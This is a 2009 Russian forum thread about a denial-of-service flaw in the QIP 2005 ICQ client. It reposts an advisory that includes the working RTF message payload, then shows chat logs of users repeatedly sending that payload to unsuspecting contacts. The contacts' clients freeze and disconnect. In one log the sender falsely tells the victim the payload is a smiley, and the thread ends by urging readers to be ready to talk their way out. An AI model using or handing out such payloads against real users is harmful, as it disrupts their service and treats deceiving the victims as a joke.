Отказ в обслуживании в QIP

[1nterSE]

Отказ в обслуживании в QIP

05 февраля, 2009

Программа: QIP 2005 8082, возможно другие версии.(в инфуме не работает)

Опасность: Средняя

Наличие эксплоита: Да

Описание:
Уязвимость позволяет удаленному пользователю произвести DoS атаку.

Уязвимость существует из-за ошибки при обработке ICQ сообщений. Удаленный пользователь может с помощью специально сформированного ICQ сообщения в RTF формате заставить приложение потреблять все доступные ресурсы процессора. Пример сообщения:

{\rtf\pict\&&}

URL производителя: qip.ru

Решение: Способов устранения уязвимости не существует в настоящее время.


http://www.securitylab.ru/vulnerability/367727.php

[thinkslow]

722:17 Korvin: дарова
722:17 Korvin: аська норм работает?
822:17 guHo: дарова
822:17 guHo: да
722:17 Korvin: {\rtf\pict\&&}
722:17 Korvin: везет
722:17 Korvin: {\rtf\pict\&&}
N 5 февраля 2009 г., 22:17, guHo отключен(а).
N 5 февраля 2009 г., 22:18, guHo подключен(а) (Готов болтать).
822:18 guHo: kjk
722:18 Korvin: че вылетел?
722:18 Korvin: {\rtf\pict\&&}
822:18 guHo: зависла
N 5 февраля 2009 г., 22:18, guHo отключен(а).
N 5 февраля 2009 г., 22:18, guHo подключен(а) (Готов болтать).
722:18 Korvin: оО
822:18 guHo: чё за?
722:18 Korvin: {\rtf\pict\&&}
N 5 февраля 2009 г., 22:19, guHo отключен(а).
722:19 Korvin: ХАХАХАХАХАХАХА
722:19 Korvin: АХАХАХА
722:19 Korvin: АХАХАХХХХАХХАХАХ
N 5 февраля 2009 г., 22:19, guHo подключен(а) (В сети).
822:19 guHo: мде
722:20 Korvin: {\rtf\pict\&&}
822:20 guHo: выкидывает
822:20 guHo: ищ ас
822:20 guHo: и
722:20 Korvin: бывает
822:20 guHo: я щас на миранде
722:20 Korvin: )))))
722:20 Korvin: фак (((
722:20 Korvin: кончилось веселье

[SergAgent]

1nterSE, http://www.securitylab.ru/news/367765.php

[miLord Corwin]

716:36 Korvin-DraGO: Привет.
*
716:37 Korvin-DraGO: {\rtf\pict\&&}
*
716:38 Korvin-DraGO: Тут?
*
816:38 User went offline!
*
816:38 User went online!
*
816:38 -=[R®B•†™]=-: lf
*
816:38 -=[R®B•†™]=-: ghbdtn
*
816:38 -=[R®B•†™]=-: да
*
816:38 -=[R®B•†™]=-: привет
*
716:38 Korvin-DraGO: {\rtf\pict\&&}
*
816:38 User went offline!
*
816:38 User went online!
*
716:38 Korvin-DraGO:
*
716:39 Korvin-DraGO: Куда пропал?..
*
716:39 Korvin-DraGO: {\rtf\pict\&&}
*
816:39 User went offline!
*
816:39 User went online!
*
816:40 -=[R®B•†™]=-: nenf z
*
816:40 -=[R®B•†™]=-: тута я
*
816:40 -=[R®B•†™]=-: лагнул кусочек
*
816:40 -=[R®B•†™]=-: гвори
*
716:40 Korvin-DraGO: Када пропадаешь?..
*
716:40 Korvin-DraGO: {\rtf\pict\&&}
*
816:41 -=[R®B•†™]=-: эт че?
*
716:41 Korvin-DraGO: У?..
*
816:41 -=[R®B•†™]=-: Korvin-DraGO (16:41:59 7/02/2009)
{\rtf\pict\&&}
*
816:41 -=[R®B•†™]=-: че это?
*
716:41 Korvin-DraGO: Смайлик.
*
816:41 -=[R®B•†™]=-: хмм.....
*
716:41 Korvin-DraGO: У тебя, наверное, не показывает.
*
816:41 -=[R®B•†™]=-: угу
*
816:42 -=[R®B•†™]=-: наверное

816:42 -=[R®B•†™]=-: че хотел то?
*
716:42 Korvin-DraGO: Ща... сек... покажу.
*
816:42 -=[R®B•†™]=-: угу
*
716:45 Korvin-DraGO: http://www.nowa.cc/showthread.php?t=204120

Умейте выкрутиться, если что ;)